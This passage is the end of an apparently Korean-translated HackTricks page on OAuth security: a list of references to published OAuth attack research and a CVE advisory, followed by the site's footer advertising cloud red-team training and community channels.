- https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1
- https://portswigger.net/research/hidden-oauth-attack-vectors
- https://blog.doyensec.com/2025/01/30/oauth-common-vulnerabilities.html
- An Offensive Guide to the OAuth 2.0 Authorization Code Grant
- OAuth Discovery as an RCE Vector (Amla Labs)
- Leaking fbevents: OAuth code exfiltration via postMessage trust leading to Instagram ATO
- Rapid7: CVE-2026-31381, CVE-2026-31382: Gainsight Assist Information Disclosure and Cross-Site Scripting (FIXED)
- MDN: Window
pagerevealevent
Tip
AWS Hacking을 배우고 연습하세요:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요:HackTricks Training Azure Red Team Expert (AzRTE)
평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.
HackTricks 지원하기
- subscription plans를 확인하세요!
- 💬 Discord group, telegram group에 참여하고, X/Twitter에서 @hacktricks_live를 팔로우하거나, LinkedIn page와 YouTube channel을 확인하세요.
- HackTricks 및 HackTricks Cloud github repos에 PR을 제출해 hacking tricks를 공유하세요.


